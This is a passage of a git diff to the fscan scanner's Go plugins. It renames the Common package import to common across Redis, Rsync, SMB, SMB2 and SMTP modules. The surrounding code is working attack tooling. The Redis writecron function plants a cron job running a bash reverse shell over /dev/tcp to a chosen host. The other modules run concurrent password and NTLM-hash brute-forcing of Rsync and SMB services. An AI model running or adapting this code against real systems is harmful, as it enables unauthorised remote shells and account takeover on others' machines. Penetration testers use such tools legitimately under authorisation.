Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
@ -779,38 +779,38 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
return flag, "主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
// 写入反弹shell的定时任务
Common.LogDebug("写入定时任务")
common.LogDebug("写入定时任务")
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort)
if _, err = conn.Write([]byte(cronCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("定时任务写入成功")
common.LogDebug("定时任务写入成功")
flag = true
}
}
@ -822,17 +822,17 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) {
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
file, err := os.Open(filename)
if err != nil {
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
return "", err
}
defer file.Close()
@ -841,43 +841,43 @@ func Readfile(filename string) (string, error) {
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
Common.LogDebug("找到非空行")
common.LogDebug("找到非空行")
return text, nil
}
}
Common.LogDebug("文件内容为空")
common.LogDebug("文件内容为空")
return "", err
}
// readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) {
Common.LogDebug("读取Redis响应")
common.LogDebug("读取Redis响应")
// 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
err = nil
} else {
Common.LogDebug("未收到响应数据")
common.LogDebug("未收到响应数据")
}
return string(bytes), err
}
// getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
Common.LogDebug("开始获取Redis配置信息")
common.LogDebug("开始获取Redis配置信息")
// 获取数据库文件名
Common.LogDebug("获取数据库文件名")
common.LogDebug("获取数据库文件名")
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
return
}
text, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
return
}
@ -888,17 +888,17 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else {
dbfilename = text1[0]
}
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
// 获取数据库目录
Common.LogDebug("获取数据库目录")
common.LogDebug("获取数据库目录")
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
return
}
text, err = readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
return
}
@ -909,37 +909,37 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else {
dir = text1[0]
}
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
return
}
// recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
Common.LogDebug("开始恢复Redis数据库配置")
common.LogDebug("开始恢复Redis数据库配置")
// 恢复数据库文件名
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
return
}
if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
return
}
// 恢复数据库目录
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
return
}
if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
return
}
Common.LogDebug("数据库配置恢复完成")
common.LogDebug("数据库配置恢复完成")
return
}

View File

@ -7,7 +7,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// RsyncCredential 表示一个Rsync凭据
@ -25,21 +25,21 @@ type RsyncScanResult struct {
ModuleName string
}
func RsyncScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func RsyncScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, Common.Timeout, Common.MaxRetries)
common.LogDebug("尝试匿名访问...")
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, common.Timeout, common.MaxRetries)
if anonymousResult.Success {
// 匿名访问成功
@ -49,8 +49,8 @@ func RsyncScan(info *Common.HostInfo) error {
// 构建凭据列表
var credentials []RsyncCredential
for _, user := range Common.Userdict["rsync"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["rsync"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RsyncCredential{
Username: user,
@ -59,11 +59,11 @@ func RsyncScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rsync"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["rsync"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRsyncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentRsyncScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 保存成功结果
saveRsyncResult(info, target, result)
@ -73,18 +73,18 @@ func RsyncScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Rsync扫描全局超时")
common.LogDebug("Rsync扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentRsyncScan 并发扫描Rsync服务
func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
func concurrentRsyncScan(ctx context.Context, info *common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -130,7 +130,7 @@ func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -151,14 +151,14 @@ func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("Rsync并发扫描全局超时")
common.LogDebug("Rsync并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRsyncCredential 尝试单个Rsync凭据
func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
func tryRsyncCredential(ctx context.Context, info *common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -171,7 +171,7 @@ func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential R
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -193,7 +193,7 @@ func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential R
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -208,12 +208,12 @@ func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential R
}
// RsyncConn 尝试Rsync连接
func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, string, error) {
func RsyncConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, string, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
// 建立连接
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil {
return false, "", err
}
@ -330,7 +330,7 @@ func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass str
}
// 5. 为每个模块创建新连接尝试认证
authConn, err := Common.WrapperTcpWithTimeout(host, port, timeout)
authConn, err := common.WrapperTcpWithTimeout(host, port, timeout)
if err != nil {
continue
}
@ -437,7 +437,7 @@ func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass str
}
// saveRsyncResult 保存Rsync扫描结果
func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResult) {
func saveRsyncResult(info *common.HostInfo, target string, result *RsyncScanResult) {
var successMsg string
var details map[string]interface{}
@ -462,15 +462,15 @@ func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResu
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -3,7 +3,7 @@ package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"sync"
@ -23,22 +23,22 @@ type SmbScanResult struct {
Credential SmbCredential
}
func SmbScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func SmbScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []SmbCredential
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmbCredential{
Username: user,
@ -47,11 +47,11 @@ func SmbScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["smb"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSmbScan(ctx, info, credentials, Common.Timeout)
result := concurrentSmbScan(ctx, info, credentials, common.Timeout)
if result != nil {
// 记录成功结果
saveSmbResult(info, target, result.Credential)
@ -61,18 +61,18 @@ func SmbScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("SMB扫描全局超时")
common.LogDebug("SMB扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentSmbScan 并发扫描SMB服务
func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
func concurrentSmbScan(ctx context.Context, info *common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -106,7 +106,7 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
locked := lockedUsers[credential.Username]
lockedMutex.Unlock()
if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue
}
@ -125,7 +125,7 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
lockedMutex.Lock()
lockedUsers[credential.Username] = true
lockedMutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
}
}
}
@ -147,7 +147,7 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
continue // 跳过已锁定用户
}
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -168,14 +168,14 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
}
return nil
case <-ctx.Done():
Common.LogDebug("SMB并发扫描全局超时")
common.LogDebug("SMB并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// trySmbCredential 尝试单个SMB凭据
func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
func trySmbCredential(ctx context.Context, info *common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 创建单个连接超时上下文的结果通道
resultChan := make(chan struct {
success bool
@ -220,7 +220,7 @@ func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential Smb
}
// saveSmbResult 保存SMB扫描结果
func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredential) {
func saveSmbResult(info *common.HostInfo, target string, credential SmbCredential) {
// 构建结果消息
var successMsg string
details := map[string]interface{}{
@ -231,35 +231,35 @@ func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredentia
"type": "weak-password",
}
if Common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, credential.Username, credential.Password)
details["domain"] = Common.Domain
if common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, common.Domain, credential.Username, credential.Password)
details["domain"] = common.Domain
} else {
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password)
}
// 记录成功日志
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
common.SaveResult(result)
}
// SmblConn 尝试建立SMB连接并认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: Common.Domain,
Domain: common.Domain,
Workstation: "",
}

View File

@ -8,7 +8,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"github.com/hirochachacha/go-smb2"
)
@ -30,20 +30,20 @@ type Smb2ScanResult struct {
}
// SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) error {
if Common.DisableBrute {
func SmbScan2(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 根据是否提供哈希选择认证模式
if len(Common.HashBytes) > 0 {
if len(common.HashBytes) > 0 {
return smbHashScan(ctx, info)
}
@ -51,15 +51,15 @@ func SmbScan2(info *Common.HostInfo) error {
}
// smbPasswordScan 使用密码进行SMB2认证扫描
func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
if Common.DisableBrute {
func smbPasswordScan(ctx context.Context, info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
// 构建凭据列表
var credentials []Smb2Credential
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
actualPass := strings.ReplaceAll(pass, "{user}", user)
credentials = append(credentials, Smb2Credential{
Username: user,
@ -70,23 +70,23 @@ func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["smb"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials)
}
// smbHashScan 使用哈希进行SMB2认证扫描
func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
if Common.DisableBrute {
func smbHashScan(ctx context.Context, info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
// 构建凭据列表
var credentials []Smb2Credential
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
for _, user := range common.Userdict["smb"] {
for _, hash := range common.HashBytes {
credentials = append(credentials, Smb2Credential{
Username: user,
Password: "",
@ -96,17 +96,17 @@ func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.HashBytes), len(credentials)))
common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
len(common.Userdict["smb"]), len(common.HashBytes), len(credentials)))
// 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials)
}
// concurrentSmb2Scan 并发扫描SMB2服务
func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials []Smb2Credential) error {
func concurrentSmb2Scan(ctx context.Context, info *common.HostInfo, credentials []Smb2Credential) error {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -145,7 +145,7 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
mutex.Unlock()
if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue
}
@ -183,7 +183,7 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
lockedUsers[credential.Username] = true
mutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
}
}
}
@ -208,10 +208,10 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
}
if cred.IsHash {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
i+1, len(credentials), cred.Username, Common.HashValue))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
i+1, len(credentials), cred.Username, common.HashValue))
} else {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
i+1, len(credentials), cred.Username, cred.Password))
}
@ -238,16 +238,16 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("SMB2扫描全局超时")
common.LogDebug("SMB2扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return fmt.Errorf("全局超时")
}
}
// trySmb2Credential 尝试单个SMB2凭据
func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
func trySmb2Credential(ctx context.Context, info *common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
// 创建单个连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
connCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
defer cancel()
// 在协程中尝试连接
@ -315,9 +315,9 @@ func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Sm
}
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
func Smb2Con(ctx context.Context, info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
// 建立TCP连接使用socks代理支持
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), nil
}
@ -326,7 +326,7 @@ func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass strin
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
Domain: common.Domain,
}
// 设置认证方式(哈希或密码)
@ -394,98 +394,98 @@ func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass strin
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) {
credential := pass
if len(hash) > 0 {
credential = Common.HashValue
credential = common.HashValue
}
// 保存认证成功结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "success",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smb2",
"username": user,
"domain": Common.Domain,
"domain": common.Domain,
"type": "weak-auth",
"credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
},
}
Common.SaveResult(result)
common.SaveResult(result)
// 控制台输出
var msg string
if Common.Domain != "" {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
if common.Domain != "" {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, common.Domain, user)
} else {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
}
if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
msg += fmt.Sprintf(" Hash:%s", common.HashValue)
} else {
msg += fmt.Sprintf(" Pass:%s", pass)
}
Common.LogSuccess(msg)
common.LogSuccess(msg)
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err)
info.Host, info.Ports, user, common.HashValue, err)
} else {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog)
common.LogError(errlog)
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) {
credential := pass
if len(hash) > 0 {
credential = Common.HashValue
credential = common.HashValue
}
// 保存共享信息结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "shares-found",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smb2",
"username": user,
"domain": Common.Domain,
"domain": common.Domain,
"shares": shares,
"credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
},
}
Common.SaveResult(result)
common.SaveResult(result)
// 控制台输出
var msg string
if Common.Domain != "" {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
if common.Domain != "" {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, common.Domain, user)
} else {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
}
if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
msg += fmt.Sprintf(" Hash:%s", common.HashValue)
} else {
msg += fmt.Sprintf(" Pass:%s", pass)
}
msg += fmt.Sprintf(" 共享:%v", shares)
Common.LogBase(msg)
common.LogBase(msg)
}

View File

@ -8,7 +8,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// SmtpCredential 表示一个SMTP凭据
@ -26,21 +26,21 @@ type SmtpScanResult struct {
}
